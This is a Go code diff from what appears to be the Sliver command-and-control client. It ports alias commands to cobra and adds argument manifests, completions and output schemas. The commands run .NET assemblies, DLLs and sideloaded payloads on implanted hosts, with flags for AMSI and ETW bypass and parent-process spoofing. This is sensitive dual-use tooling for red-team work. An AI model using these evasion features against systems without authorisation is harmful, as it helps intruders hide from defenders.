@@ -50,30 +54,40 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
// alias name -> manifest/command.
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"linux": linuxDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
// Ties the manifest struct to the command struct.
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
Command *cobra.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
// AliasFile - An OS/Arch specific file.
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
// AliasArgument - An argument for an alias command.
|
||||
type AliasArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
Choices []string `json:"choices,omitempty"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata.
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
@@ -83,14 +97,18 @@ type AliasManifest struct {
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Arguments []*AliasArgument `json:"arguments"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
@@ -101,7 +119,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
@@ -121,9 +139,10 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, cmd.Root(), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
@@ -131,8 +150,8 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory.
|
||||
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
@@ -150,52 +169,95 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
// Build usage string including arguments
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(aliasManifest.CommandName)
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
usage.WriteString(" ")
|
||||
if arg.Optional {
|
||||
usage.WriteString("[")
|
||||
}
|
||||
usage.WriteString(strings.ToUpper(arg.Name))
|
||||
if arg.Optional {
|
||||
usage.WriteString("]")
|
||||
}
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
// Build long help message
|
||||
longHelp := strings.Builder{}
|
||||
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
|
||||
longHelp.WriteString(usage.String())
|
||||
longHelp.WriteString("\n")
|
||||
if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
|
||||
if len(aliasManifest.Help) > 0 {
|
||||
longHelp.WriteString(aliasManifest.Help)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
if len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString(aliasManifest.LongHelp)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
}
|
||||
if len(aliasManifest.Arguments) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
longHelp.WriteString("\n\t")
|
||||
optStr := ""
|
||||
if arg.Optional {
|
||||
optStr = "[OPTIONAL]"
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
aType := arg.Type
|
||||
if aType == "wstring" {
|
||||
aType = "string"
|
||||
}
|
||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||
}
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
|
||||
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
|
||||
|
||||
// for each alias command, add a new app command
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
addAliasCmd := &cobra.Command{
|
||||
Use: usage.String(),
|
||||
Short: helpMsg,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runAliasCommand(cmd, con, args)
|
||||
},
|
||||
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
GroupID: consts.AliasHelpGroup,
|
||||
Annotations: makeAliasPlatformFilters(aliasManifest),
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
|
||||
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
|
||||
f.StringP("process", "p", "", "Path to process to host the shared object")
|
||||
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
|
||||
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
|
||||
// Setup completions for alias arguments
|
||||
comps := carapace.Gen(addAliasCmd)
|
||||
makeAliasArgCompleter(aliasManifest, comps)
|
||||
|
||||
cmd.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
@@ -207,7 +269,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
// ParseAliasManifest - Parse an alias manifest.
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
@@ -240,10 +302,17 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
}
|
||||
|
||||
if alias.Schema != nil {
|
||||
if !packages.IsValidSchemaType(alias.Schema.Name) {
|
||||
return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
|
||||
}
|
||||
alias.Schema.IngestColumns()
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
@@ -258,53 +327,60 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
loadedAlias, ok := loadedAliases[cmd.Name()]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgsStr string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
extArgsStr = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
extArgsStr = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
extArgsStr = strings.TrimSpace(extArgsStr)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
if !ctx.Flags.Bool("in-process") {
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
con.PrintWarnf("%s", msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
@@ -321,9 +397,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
if save, _ := cmd.Flags().GetBool("save"); save {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -333,26 +410,37 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Flags
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
method, _ := cmd.Flags().GetString("method")
|
||||
className, _ := cmd.Flags().GetString("class")
|
||||
appDomain, _ := cmd.Flags().GetString("app-domain")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
ClassName: className,
|
||||
AppDomain: appDomain,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
PPid: pPid,
|
||||
InProcess: inProcess,
|
||||
Runtime: runtime,
|
||||
AmsiBypass: amsiBypass,
|
||||
EtwBypass: etwBypass,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -368,28 +456,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -405,29 +495,31 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
// Flags
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -443,47 +535,220 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
func getOutputWithSchema(schema *packages.OutputSchema, result string) string {
|
||||
if schema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
outputSchema := packages.GetNewPackageOutput(schema.Name)
|
||||
if outputSchema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
return outputSchema.CreateTable()
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
|
||||
func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, spawnDllResp.GetResult())
|
||||
} else {
|
||||
result = spawnDllResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
outFilePath.WriteString(spawnDllResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
// PrintSideloadOutput - Prints the output of a sideload command.
|
||||
func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, sideloadResp.GetResult())
|
||||
} else {
|
||||
result = sideloadResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
outFilePath.WriteString(sideloadResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command.
|
||||
func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
|
||||
} else {
|
||||
result = string(execAsmResp.GetOutput())
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
for _, file := range alias.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
app.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
|
||||
// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
|
||||
// It provides completion for:
|
||||
// 1. Positional arguments (before --)
|
||||
// 2. Flag-style arguments after -- (e.g., --target, --port)
|
||||
func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
|
||||
if len(alias.Arguments) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
action = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("alias data")
|
||||
default:
|
||||
action = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
if arg.Optional {
|
||||
usage += " (optional)"
|
||||
}
|
||||
|
||||
actions = append(actions, action.Usage("%s", usage))
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
|
||||
// Add dash completion for flag-style arguments after --
|
||||
// Pre-build the flag completions at registration time (not in a callback)
|
||||
flagCompletion := makeAliasFlagNameCompletion(alias)
|
||||
|
||||
// Build value completions for each argument type
|
||||
valueCompletions := make(map[string]carapace.Action)
|
||||
for _, arg := range alias.Arguments {
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
|
||||
case "bool":
|
||||
valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
|
||||
default:
|
||||
valueCompletions[arg.Name] = carapace.ActionValues()
|
||||
}
|
